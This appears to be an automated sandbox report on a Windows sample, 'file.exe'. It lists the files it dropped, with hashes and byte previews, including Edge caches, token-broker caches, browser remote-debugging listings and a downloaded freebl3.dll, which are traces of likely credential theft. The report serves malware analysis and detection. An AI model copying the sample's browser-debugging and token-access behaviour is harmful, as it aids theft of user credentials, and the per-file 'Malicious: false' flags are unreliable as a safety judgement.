SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0075165782059665
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVOulY4Yn:YWLSGTt1o9LuLgfGBPAzkVj/T8l7lyn
MD5:	2D4CF752EC20D6E186C6EBE740CA44DB
SHA1:	A57FAA61A9E09052992C3D4F0B22FBAB67A87ABB
SHA-256:	5853844669981E00F4467824CD3FA6BA132E380A174BD0414CA719B1C182D40F
SHA-512:	39A176CA989F972848F86DA3798493C0816C0E8BDD9802CEAD20BDB5C4D162EC50F77C0D01233F5726E022390B39AF6D99793D59C5338664F4FC41CAFE5A8AEB
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730267191187574}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a695cd2c-2a4c-4a6f-b3a0-c911b23fc0f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46132
Entropy (8bit):	6.087106786088248
Encrypted:	false
SSDEEP:	768:AMkbJrT8IeQcrQgx9/wuu1hDO6vP6O0ZYht0BuFZ6kUEhy1DhSCAogGoup1Xl3jF:AMk1rT8HR9/h6Uqj01sRoghu3VlXr44
MD5:	556CDBFBDC849232F7000F2D7B3B5CD9
SHA1:	93CFD6EB3500DE0E896E657A4DA6BA51CB456039
SHA-256:	F1E91E0FE89379C6CD08EEA1370AD3F744E64A5A933665C86EBEA1014DE62C04
SHA-512:	5B7FEF596752F053D85C36D3CE997372CEA7B0D93CE8559D9AE4E942FD138355CC9769DEF089729A18D6F249DE9095DFACC06AB6FC3C5F195B2096D81CCBC6C6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730166391"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d347d854-4029-4dc2-ac0d-8c540e8f9406.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46085
Entropy (8bit):	6.087302678965791
Encrypted:	false
SSDEEP:	768:AMkbJrT8IeQcrQgx9/3uu1hDO6vP6O0ZYht0BuFZ6kUEhy1DhSCAogGoup1Xl3jF:AMk1rT8HR9/G6Uqj01sRoghu3VlXr44
MD5:	471BFCA35D68B11D5705011438B6DA2A
SHA1:	2C974315313A700C87DF4AA09B28D19D82761A4D
SHA-256:	76DEF62BACB55F9E9E10D3946878D993ABDFEA12664DCC75EDD528CA310EA7D4
SHA-512:	317B7DBBA80E9C41DDA2176D1D53452D3D52293D2A3C001A957D537657A7404B21BA6AA266CC929DA198DE2F4D403D811B1E490AB0F739C76E3A2FCF169D23F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730166391"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\df04f9e8-e38b-4027-a316-956f02686d2f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46209
Entropy (8bit):	6.087035888771007
Encrypted:	false
SSDEEP:	768:AMkbJrT8IeQcrQg19/wuu1hDO6vP6O0ZYhB0BuFZ6kUEhy1DhSCAogGoup1Xl3jF:AMk1rT8HV9/h6UqL01sRoghu3VlXr44
MD5:	BBD91FE06ABD1AC05EBF7022F7661940
SHA1:	86325BF86819474E5296D2A5D62C41CF5076718D
SHA-256:	D7D522B6CD540A598E38F102986C5A6D7BA2CAAF1A06AE740681EFCA5194F1B5
SHA-512:	CF4953CD91204B1C4B29F15D0794A4D8F899F256D8EBA3C238CF1838EEFD47BE32EA971347A2BD132732507AF923D7F3BC673DB598242BCF0F432D735C98C3A4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730166391"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.865693422348148
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxsyxl9Il8u740DnEtUL11zxBiGOd1rc:mXWYe0bOUJQ6
MD5:	D383F810C811245380D1202E892A84D9
SHA1:	75DFC21857C58940C37FCC0F66557822432C37F3
SHA-256:	7F0E99284B4F01518F0FA7B89E031747CC2309219F52E79BE5F642C243A40888
SHA-512:	A02E9311D1BAA94670B08D09F2418A91ACA997FD557FAC12EFB9A7DE8029CC9D0C5652F0877D104EC23DA81D24F0CC8B6BCF29D52EC8E21BC4E0B7B9F8AE2453
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.N.1.j.w.q.w.p.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.V.K.v.X.9.J.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9935286724551378
Encrypted:	false
SSDEEP:	48:uiTrlKxExEIyxD9Il8uMl0LX6c3fg9DnJdABLJGFJXYWm3ATmG9GYgyK2OdhUGdt:VMYW0LX6J97TLzYWjTiAODtPfAosxmT
MD5:	8E809BDC1A6D9B0565024B50DD2F18EE
SHA1:	43F42268BC41EFAB0E9B4D7B56ACFED53A7A48DE
SHA-256:	873150179A08D74DA96AD52528CB32E11AC124C52DB280F9B9D790554E518796
SHA-512:	106918E24001654BFE3E9D5004975168268A5EADD33BAEFFDC1AE945B45FE7CAB3D9F215220B86A3F2CFED319D2FA4065FBC08D52F97273EF95E0BA4684FC783
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".B.I.i.S.p.6.Q.p.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.V.K.v.X.9.J.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9031603048340826
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xWuxl9Il8us3B/selcD+Yw/1ox6ps/HD/d/vc:akKYMrqLw/fs/O
MD5:	AB415F46A5D4929A753132281E376B04
SHA1:	87D1A493616F05E51B448EA8829F3C53A7BD5B32
SHA-256:	C6CEE35F0CED62216C4402B66042A747506E8C317A97A82D38E069F58DB2CD1E
SHA-512:	5C7F651E94D81A1B9A48AADD86D357DBCEDC2861DD0D4D42D891D6B2CF45CD94A2D93971B5DD328BE299E3F84E692F37D1C597D1C5714CEDD8A3CA39B4A4706F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Z.I.v.j.1.3.V.I.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.V.K.v.X.9.J.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.397395269680911
Encrypted:	false
SSDEEP:	96:6NnQYjHQ1NnQUbQ3NnQc9Q9NnQJdgEQZNnQ0RQoNnQADQ4NnQeTxT1wQeTaNnQyb:6NKNuNUNAoNhxNFbNXt1qaNzP
MD5:	26C1C99064BD48E765D7447F8E40AB2E
SHA1:	D7D37B9DDCD45DF4FF6F27410FEE577D4B9CE42E
SHA-256:	DC2E9771DDF9976BB4A3AF714E0E37A6F4EAC0D4D39DA0FECEF8756686BB7C8A
SHA-512:	7837EB3AC728EAAA4948688D66CF2540593775F6DE23B3701F579500478DDE94F1A757B11F1931F950E06DEEF96795087EE569616AAEFBD2508D517B76BF026A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C4FBAA92F9B8A6D5EF5B59B32A62FC1C",.. "id": "C4FBAA92F9B8A6D5EF5B59B32A62FC1C",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/C4FBAA92F9B8A6D5EF5B59B32A62FC1C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/032555C85B1A80E7FD4E2DA641DE6EE4",.. "id": "032555C85B1A80E7FD4E2DA641DE6EE4",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/032555C85B1A80E7FD4E2DA641DE6EE4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3636786913850365
Encrypted:	false
SSDEEP:	48:SfNaoQDNTEQlfNaoQaM2QkfNaoQ4I/vQ4dfNaoQkWE/70UrU0U8Qk1:6NnQDNTEQRNnQAQQNnQ4I/vQ4JNnQu/f
MD5:	90F3811A4ED78E51A7311B495EEE4CB6
SHA1:	E82195ECCFF5E61EB92FC613B50630C4EA89CA11
SHA-256:	2D0133062AD345C946663AE53FD25DEB0F22C04A1BC072F7B613B922C4785E20
SHA-512:	F72545ED6E8D11187091EE2D41250BA52C14A6561DFECB5E577ED24D20087F5951479A3DFCACDEFF88D9324C117A741089F7EA245A13C0A964752848F298D41D
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/110E59213C5EA9322AE6AE952D6FEC41",.. "id": "110E59213C5EA9322AE6AE952D6FEC41",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/110E59213C5EA9322AE6AE952D6FEC41"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1C25A8DDADC12FC773973F218F2F592B",.. "id": "1C25A8DDADC12FC773973F218F2F592B",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": 